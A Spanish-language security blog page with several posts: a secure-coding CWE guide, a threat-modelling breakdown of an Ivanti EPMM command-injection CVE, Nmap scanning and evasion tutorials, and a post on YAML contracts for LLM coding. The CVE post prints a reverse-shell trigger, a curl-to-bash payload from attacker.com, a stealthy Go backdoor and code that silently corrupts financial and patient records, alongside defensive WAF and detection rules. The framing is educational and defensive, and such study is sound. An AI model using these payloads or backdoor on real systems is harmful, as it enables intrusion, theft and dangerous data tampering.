ES | EN

SEGURIDAD POR DISEÑO: DIRECTRICES MAESTRAS Y MITIGACIÓN DE CWE

TAGS: SECURE_BY_DESIGN / CWE_TOP25 / SAST / WIZ READ_TIME: 15 MIN

Plan de diseño de codificación segura y estrategias de mitigación de CWE

Este documento establece las directrices maestras para el desarrollo de software bajo un enfoque de "Seguridad por Diseño" (Secure by Design). En un panorama donde el volumen de código crece exponencialmente, es imperativo adoptar patrones que reduzcan el riesgo de forma temprana, antes de que las vulnerabilidades se vuelvan explotables en producción.

PROJECT_STATUS: MANDATORY_COMPLIANCE

Enfoque: Secure by Design · Zero Trust en Código
Prohibido: Hardcoding de credenciales en repositorios
Entorno: Integración continua (SDLC) asistida por IA y contexto de nube.

// Explicación no técnica

Construir software sin pensar en seguridad es como fabricar un coche sin frenos y añadirlos después de que ya está en la calle. "Seguridad por Diseño" significa pensar en los frenos, el chasis y los airbags desde el primer boceto en papel, no como un parche añadido al final.

01. EL PLANO DEL DISEÑO SEGURO

La seguridad no comienza en el código, sino en la evaluación del entorno y la naturaleza de los datos. Antes de escribir lógica de negocio, se deben responder tres preguntas críticas:

1. Exposición de la Superficie: ¿La aplicación estará expuesta públicamente o restringida a tráfico interno? Los vectores de entrada se modelan en base a esto.
2. Sensibilidad de los Datos: ¿Procesará PII, PHI o datos financieros? Esto dicta niveles de cumplimiento.
3. Identidad y Propiedad: ¿Quién es el propietario del sistema y qué identidades están autorizadas para interactuar con él?

Seguridad en el Diseño de APIs: Uso mandatorio de OAuth 2.0 para terceros, JWT para autenticación stateless, e implementación obligatoria de MFA (Autenticación de Múltiples Factores) como defensa en profundidad.

Patrones de Resiliencia: Toda entrada debe considerarse maliciosa. Implementar Schema Enforcement (ej. JSON Schema), Rate Limiting para mitigar DoS, y Modos de Fallo Seguro (sanitizar logs y stack traces para prevenir CWE-209).

02. GESTIÓN CENTRALIZADA DE SECRETOS

Qeda estrictamente prohibido el uso de "hardcoding" para claves de API, certificados, contraseñas o cualquier credencial en el código fuente.

DIRECTIVA TÉCNICA

Las aplicaciones deben recuperar secretos de forma dinámica en tiempo de ejecución utilizando bóvedas especializadas. Se requiere el uso de AWS Secrets Manager o Azure Key Vault para centralizar la gestión, rotación y auditoría, garantizando que los secretos nunca residan en el sistema de control de versiones (Git).

03. VULNERABILIDADES DE INYECCIÓN (CWE TOP 25)

Las debilidades de inyección siguen siendo el vector de ataque más crítico. La mitigación requiere patrones de codificación estrictos.

Nombre / CWE Impacto Estrategia de Mitigación
XSS (CWE-79) Robo de sesiones, redirecciones. Usar APIs de texto (textContent), no de HTML.
SQL Injection (CWE-89) Acceso no autorizado a BD. Consultas parametrizadas u ORMs.
Code Injection (CWE-94) Ejecución de código arbitrario. Evitar eval(), usar allow-lists.
Command Injection (CWE-77) Control del sistema operativo. Pasar argumentos como listas, sin shell.
// CWE-79: Cross-site Scripting (JavaScript) - Implementar CSP estricta
// Patrón Riesgoso:
document.getElementById("output").innerHTML = comment;

// Solución (Fix):
document.getElementById("output").textContent = comment;
# CWE-89: SQL Injection (Python) - Uso nativo de ORMs
# Patrón Riesgoso:
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# Solución (Fix):
cursor.execute(
  "SELECT * FROM users WHERE username = %s",
  (username,)
)
# CWE-77: Command Injection (Python)
# Patrón Riesgoso:
subprocess.check_output(f"ping {host}", shell=True)

# Solución (Fix):
subprocess.check_output(["ping", host])

04. CONTROL DE ACCESO Y FLUJOS

Falta de Autorización (CWE-862): Ocurre cuando no hay verificación. Autorización Incorrecta (CWE-863): Cuando la verificación es burlada (ej. ver facturas ajenas).

Mitigación: Verificación estricta de Propiedad (*Ownership*) y Principio de Mínimo Privilegio.

Vulnerabilidades de Configuración Críticas:

  • CWE-352 (CSRF): Tokens anti-CSRF por sesión y cookies `SameSite: Strict`. Los métodos GET jamás deben cambiar estado.
  • CWE-918 (SSRF): Listas de permitidos. Bloquear explícitamente IPs internas y el IP de metadatos de la nube (169.254.169.254).
  • CWE-22 (Path Traversal): Sanitizar rutas usando `os.path.basename()` para eliminar secuencias `../`.
  • CWE-502 (Deserialización): Preferir JSON. Si se usa serialización nativa en Java, implementar validación "look-ahead".

05. CONTEXTO DE NUBE Y SAST ASISTIDO POR IA

El SAST tradicional genera "ruido" masivo al carecer de contexto de ejecución. La evolución (ej. enfoque Wiz) utiliza bases de datos orientadas a grafos (*Security Graph*) para realizar un code-to-cloud mapping, trazando el linaje: Código Fuente → CI Pipeline → Contenedor.

# Criterios de Elevación de Riesgos en Nube

exploitability_criteria:
  - CWE-94 se eleva a CRÍTICO si el contenedor usa privilegios elevados.
  - CWE-89 es máxima prioridad si la carga está expuesta a Internet.

validation_layer:
  - Wiz ASM simula comportamiento "outside-in" para confirmar explotabilidad real.
  - Elimina falsos positivos dinámicos en SSRF y XSS.

A diferencia del emparejamiento de patrones, el agente de IA actual realiza análisis semántico. La remediación ocurre en el SDLC mediante comandos integrados en el IDE o Pull Requests (ej. `#wiz remediate`), aplicando parches automáticos adaptados a la arquitectura del proyecto y asignando el *ownership* al desarrollador correspondiente.

-- CONCLUSIÓN

Buscar vulnerabilidades en el código sin conocer la infraestructura donde se ejecuta es como buscar una aguja en un pajar a ciegas. La seguridad moderna exige que el análisis estático (SAST) entienda la nube, y que la IA no solo encuentre el error, sino que escriba la solución exacta en el contexto del desarrollador.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

DE CVE A APOCALIPSIS DIGITAL: DISECCIONANDO CVE-2026-1340 Y EL ARTE DEL THREAT MODELING EXTREMO

TAGS: CIBERSEGURIDAD / THREAT MODELING / RCE / MDM READ_TIME: 16 MIN
Diseccionando CVE-2026-1340 Apocalipsis Digital

Un viaje desde un bug de Apache hasta el colapso teórico de sistemas globales — y las defensas que lo previenen.

TL;DR

CVE-2026-1340/1281: RCE sin autenticación en Ivanti EPMM vía inyección de comandos Bash
El Bug Real: No es SQLi — es command injection directo a través de Apache RewriteMap
El Impacto: Control total sobre MDM = control sobre miles de dispositivos móviles corporativos
La Lección: Cómo un solo CVE puede escalar teóricamente a amenaza sistémica global
Las Defensas: WAF, behavioral EDR, network segmentation, immutable backups

// Explicación no técnica

La Vulnerabilidad: Imagina que una empresa tiene un ordenador especial (llamado MDM) que controla todos los teléfonos y tablets del trabajo. Este ordenador tiene una puerta con una cerradura especial. Pero alguien descubrió que si tocas la puerta y dices palabras mágicas de una forma específica, la puerta simplemente... se abre. Sin llave. Sin contraseña. Solo palabras mágicas.

El Problema: Una vez dentro de este ordenador, te conviertes en el jefe de TODOS los teléfonos que controla. Puedes instalar aplicaciones en los teléfonos de todos sin pedir permiso, leer los correos electrónicos y mensajes de todos, saber dónde está cada uno (rastreo GPS), robar secretos de la empresa o hacer que todos los teléfonos dejen de funcionar al mismo tiempo.

La Parte Aterradora (Teórica): ¿Qué pasa si una persona malintencionada encuentra más de 250 de estos ordenadores especiales en todo el mundo y entra en todos ellos? Podrían controlar millones de teléfonos a nivel global. Podrían enviar mensajes falsos, robar información de miles de empresas o incluso hacer que los ordenadores muestren números equivocados (como hacer que las cuentas bancarias parezcan diferentes a como están realmente).

Buenas Noticias: Los expertos en seguridad saben cómo cerrar esta puerta correctamente ahora. Pueden poner un guardia delante de la puerta (firewall), hacer que la puerta note cuando alguien intenta usar las palabras mágicas (detección) y guardar una copia secreta de todo lo importante, para que si algo se rompe, puedan arreglarlo (copias de seguridad).

Conclusión: Esta historia muestra por qué la ciberseguridad es como tener múltiples cerraduras en tu casa, cámaras, alarmas Y una caja fuerte para tus objetos de valor. Una sola cerradura no es suficiente cuando los atacantes son muy ingeniosos.

01. EL INFORME FALSO (O CÓMO NO ANALIZAR UN CVE)

Recibí un informe de vulnerabilidad que me hizo saltar todas las alarmas. No por su severidad (CVSS 9.8, CISA KEV), sino por sus inconsistencias técnicas brutales.

# El Informe Inicial Decía:
CVE-2026-1340: SQL Injection → RCE en Ivanti EPMM
CVSS: 9.8 (Crítica)

PoC:
GET /api/v1/devices?query=SELECT+*+FROM+devices+WHERE+id=1+OR+1=1;+DROP+TABLE+devices;

Bandera Roja #1: SQLi ≠ RCE Automático
El informe asume que OR 1=1 y DROP TABLE llevan mágicamente a ejecución de código. En la realidad: OR 1=1 es bypass de autenticación, DROP TABLE es DoS. RCE requiere funciones específicas de la base de datos.

Bandera Roja #2 & #3: Los PoC son de Nivel Tutorial y el Endpoint No Existe. /api/v1/devices no es real. Los endpoints reales son /mifs/c/aftstore/fob/ y /mifs/c/appstore/fob/.

Tras investigar las referencias reales, la verdad es mucho peor y mucho más simple: es command injection directo.

# Apache RewriteMap pasa parámetros URL a un script Bash
# El script NO sanea la entrada

# Configuración vulnerable:
RewriteMap map-aft-store-url prg:/path/to/map-aft-store-url.sh

# El script hace algo como:
result=$(process_param "$user_input")

# Atacante envía:
https://victim.com/mifs/c/aftstore/fob/?h=$(curl http://attacker.com/shell.sh|bash)

# Bash EVALÚA el comando y lo ejecuta
Característica Impacto
Sin autenticación Atacante remoto no necesita credenciales
Ejecución como root Privilegios máximos del sistema
Single request Un solo GET compromete el servidor
Target: MDM El servidor controla MILES de móviles corporativos

02. EL EXPLOIT REAL (CÓMO FUNCIONA)

watchTowr Labs publicó análisis técnico y Rapid7 desarrolló el módulo MSF. Usar esto contra sistemas sin autorización es ILEGAL, pero analizar la lógica es vital para la defensa.

# metasploit-framework/modules/exploits/multi/http/ivanti_epmm_rce.rb

def execute_cmd(cmd)
  elements = {
    'kid' => rand(32),
    'st' => 'theValue'.ljust(10), # Length check bypass
    'et' => (Time.now + (60 * 60 * rand(24))).to_i,
    'h' => "gPath[#{cmd}]"       # ← Aquí se inyecta el comando
  }
  # ... envía request a /mifs/c/appstore/fob/ ...
end
# PoC Funcional (Educativo) - Reverse Shell

# En tu máquina:
nc -lvnp 4444

# Trigger:
curl "https://TARGET/mifs/c/aftstore/fob/?h=$(bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/YOUR_IP/4444%200>%261')"
# El Blast Radius Real (Un MDM comprometido no es "un servidor más")

Datos Expuestos:
  - Base de datos con credenciales de TODOS los dispositivos
  - Tokens de autenticación corporativos
  - Perfiles de configuración (VPN, WiFi, certificados)
  - Ubicaciones GPS de empleados

Capacidades Post-Exploitation:
  - Push de malware a miles de móviles simultáneamente
  - Bypass de políticas de seguridad (MDM lo controla TODO)
  - Pivoting a red interna (MDM conecta con AD, Exchange, RRHH)
  - Exfiltración de datos corporativos sin detección

03. DEL EXPLOIT AL ESCENARIO EXTREMO (THREAT MODELING)

Aquí es donde la conversación se vuelve... inquietante. Un adversario avanzado con acceso root a un MDM no se detiene ahí. Pensemos como un APT.

# Fase 1: La Siembra Global (No comprometer UN servidor EPMM. Comprometer TODOS)

Shodan Query: ssl:"Ivanti" port:8443 http.status:200
Resultados: 250+ instancias públicas

# Script:
for target in targets:
    if vulnerable(target):
        deploy_silent_backdoor(target)
        add_to_botnet(target)
# Fase 2: La Botnet Silenciosa (Backdoor en Go)

package main

import (
  "net/http"
  "os/exec"
)

func handler(w http.ResponseWriter, r *http.Request) {
  // Solo responde a cabecera específica encriptada
  if r.Header.Get("X-Auth") == decrypt(SECRET_KEY) {
    cmd := r.Header.Get("X-Cmd")
    output, _ := exec.Command("bash", "-c", cmd).Output()
    w.Write(output)
  } else {
    w.WriteHeader(404) // Comportamiento normal - transparente
  }
}

func main() {
  http.HandleFunc("/health", handler) // Endpoint que parece legítimo
  http.ListenAndServe(":8443", nil) // No abre puertos nuevos
}

// El Ataque de Integridad (Logic Bomb) Explicado

El escenario más aterrador no es destrucción (ransomware), sino corrupción sutil. Imagina que alguien entra a una biblioteca y no quema los libros, sino que cambia cosas pequeñas: cambia fechas en libros de historia, ingredientes en libros de recetas. Nadie nota al principio porque los libros parecen normales. Pero cuando usas la información, todo sale mal. Eso hace este ataque a los datos: no los destruye, los altera sutilmente, lo cual es PEOR porque no sabes qué es real y qué es falso.

# chimera_core.go - El Ataque de Integridad

func corruptDatabases() {
  connStrings := findDatabaseCredentials()
  for _, db := range connStrings {
    // NO borra tablas (obvio)
    // Corrompe datos sutilmente:
    db.Exec("UPDATE transactions SET amount = amount * 1.03")
    db.Exec("UPDATE invoices SET due_date = DATE_ADD(due_date, INTERVAL 30 DAY)")
    db.Exec("UPDATE patients SET blood_type = CASE WHEN blood_type='A+' THEN 'A-' ELSE blood_type END")
  }
}

04. LAS DEFENSAS (CÓMO DETENER ESTO)

Defensa en Capas contra CVE-2026-1340 y amenazas avanzadas requiere arquitecturas por niveles.

# 1. Virtual Patching (WAF)
SecRule REQUEST_URI "@rx /mifs/c/(aft|app)store/fob/" \
  "chain,id:2026001,phase:2,deny,status:403,log,msg:'CVE-2026-1340 Block'"
SecRule ARGS:h "@rx (\$\(|\`|gPath\[)" \
  "t:urlDecode,t:urlDecodeUni"
# 2. Network Segmentation
[Internet] → [WAF] → [DMZ: EPMM Server] ⊗ [Internal Network]
                          ↓
            [Egress Firewall: DENY ALL outbound except push notifications]
# 3. Behavioral EDR (YARA Rule)
rule Ivanti_EPMM_Exploitation {
  strings:
    $proc1 = "httpd" ascii
    $proc2 = "bash" ascii
  condition:
    process.parent.name == "httpd" and
    (process.name == "bash" or process.name == "curl")
}
# 4. File Integrity Monitoring (OSSEC/Wazuh rule)
<rule id="100001" level="12">
  <if_sid>550</if_sid>
  <match>/mifs/a/</match>
  <regex>\.jsp$|\.war$|\.sh$</regex>
  <description>Webshell creation in EPMM directory</description>
</rule>
# 5. Contra Ataques de Integridad (SQL Audit Trigger)
CREATE TRIGGER audit_mass_update
BEFORE UPDATE ON critical_table
FOR EACH ROW
BEGIN
  IF (SELECT COUNT(*) FROM information_schema.processlist
    WHERE command = 'Update') > 100 THEN
    SIGNAL SQLSTATE '45000'
    SET MESSAGE_TEXT = 'Mass update blocked - potential attack';
  END IF;
END;
[+] IMMUTABLE BACKUPS (LA DEFENSA FINAL)

AWS S3 Object Lock: Mode GOVERNANCE | RetentionDays: 90 | LegalHold: true

Los immutable backups son como escribir algo con marcador permanente en piedra en lugar de lápiz en papel. Una vez escrito, NADIE puede borrarlo o alterarlo — ni tú, ni el hacker, ni el dueño de la empresa. Si un hacker corrompe todos tus datos, puedes ir a tus respaldos en "piedra" y restaurar la información real.

05. CONCLUSIONES: LECCIONES PARA ANALISTAS

Lección Realidad
Desconfía de Informes Genéricos Un CVSS 9.8 no significa que el análisis técnico sea correcto. Valida endpoints y mecanismos.
SQLi ≠ Command Injection Atacan capas completamente diferentes (Lógica SQL vs Shell del OS). Requieren sanitizaciones distintas.
MDM = Crown Jewel Es la llave maestra de los dispositivos. Aíslalo y aplica egress filtering estricto.
Assume Breach Las defensas modernas asumen que el adversario EJECUTARÁ código. Zero Trust, behavioral analytics, micro-segmentation.

-- LA IMAGEN GRANDE

Piensa en la ciberseguridad como proteger un castillo. El enfoque antiguo era construir un muro enorme (firewall). Si alguien lo saltaba, era dueño de tu castillo. Este CVE muestra por qué eso falla. El enfoque nuevo significa Muro + guardias (WAF) + cámaras (EDR) + habitaciones cerradas con llave dentro (segmentación) + copias secretas de los tesoros escondidas en otro lugar (immutable backups). Incluso si entran, son detectados inmediatamente, atrapados en una sola habitación y no pueden llegar a los tesoros reales.

Referencias:
CVE-2026-1340 NIST NVD · CISA KEV Catalog · watchTowr Labs Analysis · Metasploit Module · MITRE ATT&CK: Impact

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

CAZANDO GIGANTES: AUDITORÍA DE PRECISIÓN

TAGS: NSE / VULN / SQLI / ETERNALBLUE / CVE READ_TIME: 14 MIN
Surgical Vulnerability Auditing with Nmap

El objetivo final de un informático no es solo encontrar una puerta, sino saber si la cerradura está rota. Tras mapear la red y ocultar nuestro rastro, llegamos a la fase de validación. No se trata de lanzar ataques masivos, sino de usar el Nmap Scripting Engine (NSE) como un bisturí para identificar vulnerabilidades críticas.

PROJECT_STATUS: VULN_SCAN_ACTIVE

Herramienta: NSE Scripts (vuln category)
Objetivos: MS17-010 (EternalBlue) · SQL Injection
Estrategia: Validación de CVEs específicos sin causar Denegación de Servicio (DoS).

01. EL PODER DE NSE

NSE permite automatizar tareas complejas de red. Lanzar un escaneo de vulnerabilidades genérico es ruidoso; el profesional identifica el servicio y lanza el script exacto. Para EternalBlue, atacamos el puerto 445. Para SQLi, auditamos los endpoints HTTP.

// Explicación no técnica

Imagina que eres un inspector de seguridad. En lugar de golpear todas las paredes con un mazo para ver si se rompen, vas directamente a la caja fuerte y pruebas si la llave maestra que conoces encaja. Confirmas que la puerta se puede abrir sin romper nada.

02. AUDITORÍA QUIRÚRGICA

# Detección de EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.0.0.50

# Detección de SQLi evadiendo WAF
nmap -p 80 --script http-sql-injection --script-args "http.useragent='Mozilla/5.0...'" 10.0.0.50

vuln_report:
  cve_found: MS17-010 (Critical)
  sqli: possible (parameter: user_id)

-- CONCLUSION

Identificar una vulnerabilidad es el primer paso para parchearla. En el mundo de la seguridad, la precisión es más valiosa que la fuerza. Con Nmap, la auditoría se convierte en ciencia.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

EL MÉTODO DEL NINJA: ESCANEO POR TRIANGULACIÓN

TAGS: IDLE_SCAN / ZOMBIE_HOST / IPID / STEALTH READ_TIME: 12 MIN
Idle Scan and Zombie Host Triangulation

La maestría técnica definitiva no se alcanza superando al firewall, sino haciendo que el firewall ni siquiera sepa que existes. El "Idle Scan" es una técnica de triangulación que utiliza una máquina intermedia (Zombi) para realizar el trabajo sucio. Es el arte de no estar presente.

PROJECT_STATUS: BLIND_AUDIT

Técnica: Idle Scan (-sI) · Análisis IPID
Requisito: Host Zombi inactivo con IPID incremental
Ventaja: Cero paquetes enviados desde tu IP real hacia el objetivo.

01. EL CONCEPTO DE LA TRIANGULACIÓN

El ataque se basa en observar cómo cambia el contador de fragmentación (IP ID) del Zombi. Si le pedimos a la víctima que responda al Zombi, y el contador del Zombi sube, sabemos que la víctima abrió la puerta. Todo esto sin que la víctima vea nuestra dirección IP.

// Explicación no técnica

Imagina que quieres saber si una tienda está abierta, pero no quieres pasar por la puerta. Le pides a un extraño que cuente cuántas personas entran. Luego, envías un mensaje anónimo al dueño diciendo que alguien va para allá. Vuelves a preguntarle al extraño: si el contador subió, alguien entró. Tú nunca estuviste allí.

02. EJECUCIÓN DEL IDLE SCAN

# Paso 1: Localizar un Zombi apto
nmap --script ipidseq -p 80 192.168.1.50

# Paso 2: Ejecutar el escaneo ciego
nmap -Pn -sI 192.168.1.50 10.0.0.100

triangulation_data:
  origin: [HIDDEN]
  proxy_zombie: 192.168.1.50
  victim: 10.0.0.100

-- CONCLUSION

El Idle Scan es la prueba de que el conocimiento del protocolo TCP/IP es un superpoder. No necesitas fuerza bruta cuando entiendes cómo funciona el flujo de datos.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

EL FANTASMA EN LA RED: EVASIÓN Y SIGILO TÁCTICO

TAGS: STEALTH / EVASION / FIREWALL / IDS READ_TIME: 11 MIN
Stealth Evasion in Cybersecurity

En seguridad, la velocidad es el enemigo del sigilo. Un escaneo ruidoso es una firma digital que grita "intruso" en los paneles de cualquier SOC. Para un informático de élite, el objetivo no es solo obtener la información, sino hacerlo sin dejar rastro en los logs de tráfico.

PROJECT_STATUS: STEALTH_MODE

Métodos: Timing Control · Decoys · Fragmentación
Escenario: Entornos con IDS/WAF activos
Objetivo: Mimetizar el tráfico de escaneo con el ruido de fondo de la red.

01. EL FACTOR TIEMPO

La forma más común de ser detectado es enviar demasiados paquetes en poco tiempo. El flag -T define nuestro pulso. Mientras que -T4 es para laboratorios, en producción usamos -T2 (Polite) o -T1 (Sneaky) para evadir los umbrales de detección basados en frecuencia.

// Explicación no técnica

Imagina que quieres entrar a una fiesta sin que el guardia te recuerde. En lugar de entrar corriendo, caminas muy despacio rodeado de un grupo de personas que distraen la atención. El guardia ve movimiento, pero no puede identificar una amenaza clara.

02. DECOYS Y OFUSCACIÓN

# Escaneo con señuelos y fragmentación
nmap -sS -Pn -T2 -D 192.168.1.5,10.0.0.42,RND:5 -f 10.0.0.100

stealth_params:
  decoys: active (7 sources)
  fragmentation: 8-byte MTU
  timing: T2 (Polite)

firewall_log_impact:
  status: high_noise / low_certainty
Técnica Impacto en el IDS
Decoys (-D) Inunda los logs con IPs falsas. Imposible rastrear el origen real.
Fragmentación (-f) Rompe paquetes para evadir la inspección profunda (DPI).

-- CONCLUSION

El sigilo no es un truco, es una disciplina. Dominar la invisibilidad permite auditar sistemas sin alterar su estado o alertar a posibles adversarios.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

EL SONAR DEL ARQUITECTO: EL MAPA NO ES EL TERRITORIO

TAGS: RECON / NMAP / NETWORK_SECURITY / ARCHITECTURE READ_TIME: 10 MIN
Nmap Discovery and Topology

En seguridad informática, la ceguera es el primer paso hacia el desastre. No puedes asegurar una infraestructura si no conoces cada rincón de su topología. Nmap no es solo un escáner de puertos; es el sonar que nos permite mapear el abismo digital. El código de red es volátil, pero la arquitectura subyacente revela las verdaderas intenciones del sistema.

PROJECT_STATUS: RECON_PHASE

Stack: Nmap · TCP/IP · NSE Scripts
Fase: Reconocimiento Activo y Mapeo de Superficie
Objetivo: Identificar servicios críticos y versiones de software sin disparar alertas tempranas.

01. EL PROBLEMA DE LA VISIBILIDAD

El primer contacto con un servidor desconocido debe ser preciso. El uso del flag -sS (TCP SYN Scan) nos permite realizar un escaneo "medio abierto". Al no completar el Three-Way Handshake de TCP, evitamos que muchas aplicaciones registren el intento de conexión, dándonos una ventaja táctica inicial.

// Explicación no técnica

Imagina que entras a un hotel de noche. En lugar de tocar la puerta y esperar a que te abran para saludar (TCP Connect), solo tocas ligeramente y, si escuchas pasos acercándose, te vas rápido. Ya sabes que hay alguien ahí sin haber llegado a hablar con ellos.

02. ANATOMÍA DEL ESCANEO BASE

# Ejecutando análisis de reconocimiento base
nmap -sS -sV -Pn -T4 192.168.1.10

metadata:
  target: 192.168.1.10
  method: Stealth SYN Scan
  ports: Top 1000

results:
  22/tcp: open (SSH - OpenSSH 8.2p1)
  80/tcp: open (HTTP - Apache 2.4.41)
  443/tcp: open (HTTPS - Apache 2.4.41)
Flag Función
-sS SYN Scan: Rápido y evita logs de aplicación.
-sV Detección de versiones: Identifica software exacto.
-Pn No Ping: Asume que el host está vivo.

-- CONCLUSION

El reconocimiento es la base de toda defensa. Sin un mapa claro, cualquier intento de fortificación es pura conjetura. Dominar el sonar es dominar el entorno.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

EL CONTRATO YAML COMO FUENTE DE VERDAD: EL CÓDIGO SE REGENERA, EL CONTRATO NO

TAGS: ARQUITECTURA / METODOLOGÍA / LLMs / YAML READ_TIME: 13 MIN
El contrato YAML como fuente de verdad: el código se regenera, el contrato no

En el desarrollo tradicional, la documentación siempre va detrás del código. Se escribe después, se actualiza tarde, y eventualmente miente — porque el código evolucionó y la documentación no. En AAL la relación se invierte: el contrato YAML es la fuente de verdad, el código es una consecuencia del contrato, regenerable en cualquier momento por cualquier LLM que lo reciba. Si el código y el contrato se contradicen, el código está mal.

PROJECT_STATUS: STABLE

Stack: YAML · Python · cualquier LLM
Proyectos de referencia: TeliOs · metodología AAL
Objetivo: Hacer el código desechable y el contrato permanente — el riesgo real es perder el YAML, no el código

01. EL PROBLEMA QUE RESUELVE

En el desarrollo tradicional, la única fuente de verdad real termina siendo el código mismo — que es difícil de leer para cualquiera que no lo escribió, y completamente opaco para un LLM que llega sin contexto. El resultado es que cada sesión de trabajo con un LLM empieza desde cero, explicando lo que ya existe.

El contrato YAML elimina ese problema. Define con precisión qué hace cada componente, qué expone, de qué depende, y bajo qué condiciones funciona correctamente. El LLM recibe el contrato y genera el código — no al revés.

// Explicación no técnica

Imagina que construyes muebles. Tienes dos opciones: construir la silla y después intentar dibujar el plano de lo que construiste, o dibujar el plano primero y después construir la silla siguiendo el plano. La primera opción produce planos que siempre están desactualizados. La segunda produce planos que siempre son correctos porque son la fuente de la silla. En AAL, el contrato YAML es el plano. La silla es el código.

02. ANATOMÍA DE UN CONTRATO YAML COMPLETO

Un contrato completo tiene cinco secciones: metadata para identidad y estado, interface para lo que expone, dependencias para lo que necesita, restricciones para los límites no negociables, y tests_aceptacion para la verificación. El contrato de store.js es el ejemplo canónico de TeliOs.

# TELIO-U001.contract.yaml
# Contrato de store.js — motor de estado de TeliOs

metadata:
  id: TELIO-U001
  version: 1.0.0
  nombre: 'TeliOs Store — Motor de Estado Global'
  tipo: utility
  estado: pendiente
  descripcion: >
    Estado único centralizado del ecosistema TeliOs.
    Persiste en localStorage. Notifica cambios via events.js.
    Es la única fuente de verdad del sistema.
    Máximo 100 líneas. Cero dependencias externas.
  lenguaje: JavaScript
  archivo: src/store.js

interface:
  exports:
    getState:
      tipo: function
      descripcion: 'Retorna el estado completo o una clave anidada'
      parametros:
        key: { tipo: string, requerido: false,
               descripcion: 'Clave con notación de punto: kayros.inicio' }
      retorna:
        tipo: any
        descripcion: 'El valor en la clave, o el estado completo si no se especifica'

    setState:
      tipo: function
      descripcion: 'Actualiza estado, persiste en localStorage, notifica cambios'
      parametros:
        key: { tipo: string, requerido: true }
        value: { tipo: any, requerido: true }
      retorna:
        tipo: boolean
        descripcion: 'true si guardó correctamente, false si localStorage falló'

    resetModule:
      tipo: function
      descripcion: 'Reinicia un módulo a sus valores por defecto'
      parametros:
        module: { tipo: string, requerido: true }
      retorna:
        tipo: boolean

dependencias:
  internas:
    - TELIO-U003 # events.js — notifica cambios con emit('state:changed')
  externas: {} # CERO dependencias externas — principio absoluto

restricciones:
  calidad:
    max_lineas: 100
    cobertura_tests: '> 80%'
    sin_dependencias: true
  performance:
    max_tiempo_escritura: '< 10ms'
    max_tamanio_estado: '< 5MB'
  comportamiento:
    debe_notificar: true
    debe_persistir: true
    fallback_memoria: true

tests_aceptacion:
  - id: T001
    nombre: 'setState persiste en localStorage'
    cuando: "setState('arke.tipoSer', 'fuego')"
    entonces:
      - "localStorage contiene clave TELIOS_STATE"
      - "getState('arke.tipoSer') === 'fuego'"
      - "Events recibe emit('state:changed', {key: 'arke.tipoSer', value: 'fuego'})"

  - id: T002
    nombre: 'getState con clave anidada'
    cuando: "setState('kayros.diasTotal', 1096)"
    entonces:
      - "getState('kayros.diasTotal') === 1096"
      - "getState('kayros') es un objeto con diasTotal: 1096"

  - id: T003
    nombre: 'fallback a memoria cuando localStorage falla'
    cuando: 'localStorage.setItem lanza QuotaExceededError'
    entonces:
      - "setState retorna false"
      - "getState sigue funcionando desde memoria"
      - "La app no rompe"

notas_implementacion: >
  Usar IIFE para encapsular.
  No usar clases — módulo funcional puro.
  El estado DEFAULT_STATE debe definirse completo al inicio.
  Las claves anidadas usan notación de punto: 'kayros.inicio'.
Sección Contenido Para qué sirve
metadata ID, versión, tipo, estado, descripción Identidad única del componente. El LLM sabe qué es y para qué existe.
interface Funciones exportadas, parámetros, retornos El contrato público — lo que otros módulos pueden llamar.
dependencias Internas (IDs de células), externas (librerías) Mapa del grafo de dependencias. Detecta ciclos antes de implementar.
restricciones Límites de líneas, performance, comportamiento Los límites no negociables que el LLM no puede ignorar.
tests_aceptacion Escenarios cuando/entonces Criterio de éxito objetivo. Si pasan los tests, la célula está correcta.

03. USAR EL CONTRATO PARA GENERAR EL CÓDIGO

El prompt de implementación en FocOs no describe el problema — entrega el contrato directamente. La instrucción clave es la última: si el contrato y la implementación se contradicen, cambia la implementación. Si el contrato tiene un error, dilo antes de implementar.

# Prompt que FocOs envía al LLM con el contrato:

PROMPT_IMPLEMENTACION = """
Implementa la célula {id} del ecosistema TeliOs.

CONTRATO:
{contenido_yaml}

REGLAS ABSOLUTAS:
1. Máximo {max_lineas} líneas
2. Cero dependencias externas
3. Implementar EXACTAMENTE lo definido en interface.exports
4. Incluir los tests de aceptación como comentarios // TEST: al final
5. JSDoc en cada función exportada

El contrato es la verdad.
Si el contrato y tu implementación se contradicen — cambia la implementación.
Si el contrato tiene un error — dímelo antes de implementar.
"""

04. REGENERAR UNA CÉLULA DESDE EL CONTRATO

Este es el caso de uso que justifica toda la metodología. El código se perdió o se corrompió — pero el contrato YAML existe en el repo. Eso es suficiente para recuperarlo completamente en 15 minutos. Sin el contrato, la misma operación toma horas reconstruyendo desde memoria o desde código roto.

# Situación: el código de store.js se corrompió o se perdió
# El contrato YAML existe — eso es suficiente para regenerar

# Flujo de recuperación:
# 1. Abrir TELIO-U001.contract.yaml
# 2. Pegar el contenido en el prompt de implementación
# 3. El LLM genera store.js desde cero — conforme al contrato
# 4. Verificar los tests de aceptación T001, T002, T003
# 5. Si pasan — célula regenerada. Si no — el LLM itera.

# Tiempo total con contrato: 10-15 minutos
# Tiempo total sin contrato: horas o días
[+] DONDE VIVE EL CONTRATO

Un archivo YAML de 80 líneas en texto plano commiteado en Git es prácticamente imposible de perder. El riesgo en AAL se desplaza por completo: ya no es perder código — es perder el contrato. Y el contrato es mucho más fácil de proteger que el código.

-- CONCLUSION

El contrato YAML como fuente de verdad resuelve el problema más profundo del desarrollo con LLMs: la fragilidad de la base de conocimiento. Si el contrato existe, el código puede perderse, corromperse o quedar obsoleto sin consecuencias permanentes. El LLM puede regenerarlo en 15 minutos. Esto cambia la naturaleza del riesgo en el desarrollo — el riesgo ya no es perder código, es perder el contrato. Y eso es mucho más difícil.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

SQLITE EN APPS DE ESCRITORIO: LA BASE DE DATOS QUE NO NECESITA SERVIDOR

TAGS: BASES DE DATOS / PYTHON / DESKTOP APPS READ_TIME: 12 MIN
SQLite en apps de escritorio: la base de datos que no necesita servidor

